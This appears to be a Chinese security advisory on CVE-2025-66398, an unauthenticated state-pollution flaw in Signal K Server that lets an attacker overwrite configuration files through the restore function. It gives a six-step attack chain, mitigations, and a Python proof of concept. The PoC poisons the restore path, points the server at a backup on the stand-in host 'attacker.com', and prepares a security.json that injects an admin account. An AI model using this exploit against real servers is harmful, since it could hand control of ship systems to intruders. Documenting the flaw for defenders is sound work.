IPBUF安全漏洞报告
English
CVE-2025-66398 CVSS 9.6 严重

CVE-2025-66398 Signal K Server状态污染导致RCE漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2025-66398
漏洞类型
状态污染/远程代码执行
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Signal K Server

相关标签

CVE-2025-66398Signal K Server状态污染远程代码执行RCE配置注入船舶物联网未经认证CVSS 9.6

漏洞概述

Signal K Server是一款运行在船舶中央集线器上的服务器应用程序,主要用于船舶数据的采集、转换和分发。在2.19.0版本之前,该应用存在严重的安全漏洞,允许未经认证的远程攻击者通过发送特制的HTTP请求污染服务器内部状态,进而利用管理员的Restore功能覆盖关键配置文件,最终实现远程代码执行(RCE)。由于该服务器通常部署在船舶网络中,攻击成功后攻击者可以完全控制船舶电子系统,包括导航设备、通信设备等敏感组件,对船舶安全和隐私构成严重威胁。CVSS 3.1评分高达9.6,属于严重级别漏洞。该漏洞无需任何认证凭证即可利用,但需要一定的用户交互(如诱骗管理员执行恢复操作),这使得漏洞利用在实际场景中具有一定可行性。

技术细节

漏洞根源在于Signal K Server的`/skServer/validateBackup`端点存在状态污染缺陷。攻击者可以通过发送包含恶意`restoreFilePath`参数的POST请求来覆盖服务器的内部状态变量。在正常业务流程中,管理员可以使用Restore功能从备份文件恢复系统配置,而服务器会将用户选择的备份文件路径存储在`restoreFilePath`变量中。攻击者利用此漏洞,可以在管理员不知情的情况下,通过HTTP请求直接污染该变量,将其指向任意文件路径(如`security.json`或`package.json`)。当管理员执行恢复操作时,服务器会读取攻击者指定的备份文件内容,并将其写入被污染的目标路径。由于管理员具有写入系统配置文件的权限,攻击者可以通过精心构造的备份文件内容,将恶意的JavaScript代码或系统命令注入到配置文件中,从而在服务器下次启动或执行相关功能时触发远程代码执行。攻击者可以利用`package.json`注入npm脚本钩子,或通过`security.json`修改认证配置获取管理员账户权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的Signal K Server版本,确认版本小于2.19.0,并探测`/skServer/validateBackup`端点是否可访问
STEP 2
步骤2: 状态污染攻击
攻击者构造恶意HTTP POST请求,向`/skServer/validateBackup`端点发送包含`restoreFilePath`参数的消息,将内部状态变量污染为指向关键配置文件(如security.json或package.json)的路径
STEP 3
步骤3: 准备恶意备份文件
攻击者在自有服务器上托管精心构造的恶意备份文件,内容包含可导致RCE的配置数据,如注入新的管理员账户或npm脚本钩子
STEP 4
步骤4: 社会工程攻击
攻击者通过钓鱼或其他社会工程手段诱骗服务器管理员访问Restore功能页面,触发服务器使用被污染的`restoreFilePath`执行恢复操作
STEP 5
步骤5: 配置覆盖
管理员执行恢复操作时,服务器从攻击者指定的URL下载恶意备份,并将其内容写入被污染路径指向的配置文件(如security.json),覆盖原有配置
STEP 6
步骤6: 权限提升与RCE
恶意配置文件被加载后,攻击者获得管理员权限或通过npm脚本钩子等方式在服务器环境下执行任意代码,实现完全远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66398 PoC - Signal K Server State Pollution # Target: Signal K Server < 2.19.0 TARGET = "http://target:3000" ATTACKER_IP = "attacker.com" def pollute_server_state(): """Pollute the restoreFilePath internal state""" endpoint = f"{TARGET}/skServer/validateBackup" # Payload to poison restoreFilePath to point to security.json payload = { "backupUrl": f"http://{ATTACKER_IP}/malicious-backup.zip", "restoreFilePath": "security.json" } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[+] State pollution request sent: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[-] Request failed: {e}") return False def create_malicious_backup(): """Generate malicious backup with RCE payload""" malicious_config = { "users": { "admin": { "token": "attacker-controlled-token", "passwordHash": "$2a$10$malicious.hash.here", "permissions": ["*"], "__comment": "Injected via CVE-2025-66398 state pollution" } } } return json.dumps(malicious_config) def trigger_restore(): """Trigger admin restore action to overwrite config""" endpoint = f"{TARGET}/skServer/restoreBackup" try: response = requests.post(endpoint, timeout=10) print(f"[+] Restore triggered: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[-] Restore trigger failed: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-66398 Signal K Server Exploitation") print("[*] Target:", TARGET) if pollute_server_state(): print("[+] Server state successfully polluted") print("[+] Next step: Wait for admin to perform restore operation") print("[+] Or trigger restore if endpoint is accessible")

影响范围

Signal K Server < 2.19.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 通过防火墙规则禁止外部网络访问Signal K Server的API端口;2) 临时禁用备份恢复功能,直到完成补丁更新;3) 监控服务器日志,关注异常的`/skServer/validateBackup`请求;4) 确保服务器运行在隔离的网络环境中,避免直接暴露在互联网;5) 定期备份重要配置文件(如security.json、package.json),便于发现被篡改后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表